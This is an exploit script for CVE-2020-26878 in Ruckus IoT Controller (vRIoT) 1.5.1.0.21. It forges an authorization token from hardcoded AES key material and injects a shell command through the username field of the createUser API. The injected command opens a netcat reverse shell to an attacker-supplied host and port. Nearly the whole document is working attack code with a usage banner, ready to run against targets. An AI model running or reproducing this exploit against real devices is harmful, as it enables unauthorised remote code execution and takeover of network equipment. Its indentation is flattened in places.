# Version: <= 1.5.1.0.21
# Vendor: https://support.ruckuswireless.com/
# Vulnerability: Command Injection & Broken Authentication
# References: CVE-2020-26878
# Discovered by: Juan Manuel Fernandez
# Exploit Title: Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution
# Exploit Author: Emre SUREN
# Disclosure Date: 2020-10-26
# Tested on: Appliance
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests, urllib3, sys
from Crypto.Cipher import AES
from base64 import b64encode, b64decode
from colorama import Fore
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def listen(lhost, lport):
opt = str(raw_input(Fore.YELLOW + "[?] Listening " + lhost + " " +
lport + " (i.e. netcat) ? (y/n): "))
if opt == "y":
return True
else:
return False
def generatePayload(lhost, lport):
payload="; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc "+lhost+" "+lport+" >/tmp/f; #"
return payload
def generateMagicToken():
enc_dec_method = 'utf-8'
salt = 'nplusServiceAuth'
salt = salt.encode("utf8")
str_key = 'serviceN1authent'
str_to_enc = 'TlBMVVMx'
return encrypt(enc_dec_method, salt, str_key, str_to_enc)
def encrypt(enc_dec_method, salt, str_key, str_to_enc):
aes_obj = AES.new(str_key, AES.MODE_CFB, salt)
hx_enc = aes_obj.encrypt(str_to_enc.encode("utf8"))
mret = b64encode(hx_enc).decode(enc_dec_method)
return mret
def execCmd(rhost, rport, lhost, lport):
payload = generatePayload(lhost, lport)
post_data = {
"username": payload,
"password": "test"
}
print(Fore.BLUE + "[*] Payload\t: " + payload)
token = generateMagicToken()
headers = {
"Authorization": token
}
rpath = "/service/v1/createUser"
uri = 'https://' + rhost + ":" + rport + rpath
r = requests.post(uri, json=post_data, headers=headers,
verify=False)
print(Fore.BLUE + "[*] Request sent")
if r.status_code == 200:
print(Fore.GREEN + "[+] Successful. Check for the session...")
else:
print(Fore.RED + "[X] Failed. Check for the response...")
print(Fore.BLUE + "[*] Response\t: " + r.text)
sys.exit()
def main():
if (len(sys.argv) != 5):
print("[*] Usage: ruckus151021.py <RHOST> <RPORT>
<LHOST> <LPORT>")
print("[*] <RHOST> -> Target IP")
print("[*] <RPORT> -> Target Port")
print("[*] <LHOST> -> Attacker IP")
print("[*] <LPORT> -> Attacker Port")
print("[*] Example: python {} 192.168.2.25 443 192.168.2.3
9001".format(sys.argv[0]))
exit(0)
rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
if not listen(lhost, lport):
print(Fore.RED + "[!] Please listen at port {} to connect a reverse
session !".format(lport))
else:
execCmd(rhost, rport, lhost, lport)
if __name__ == "__main__":
main()
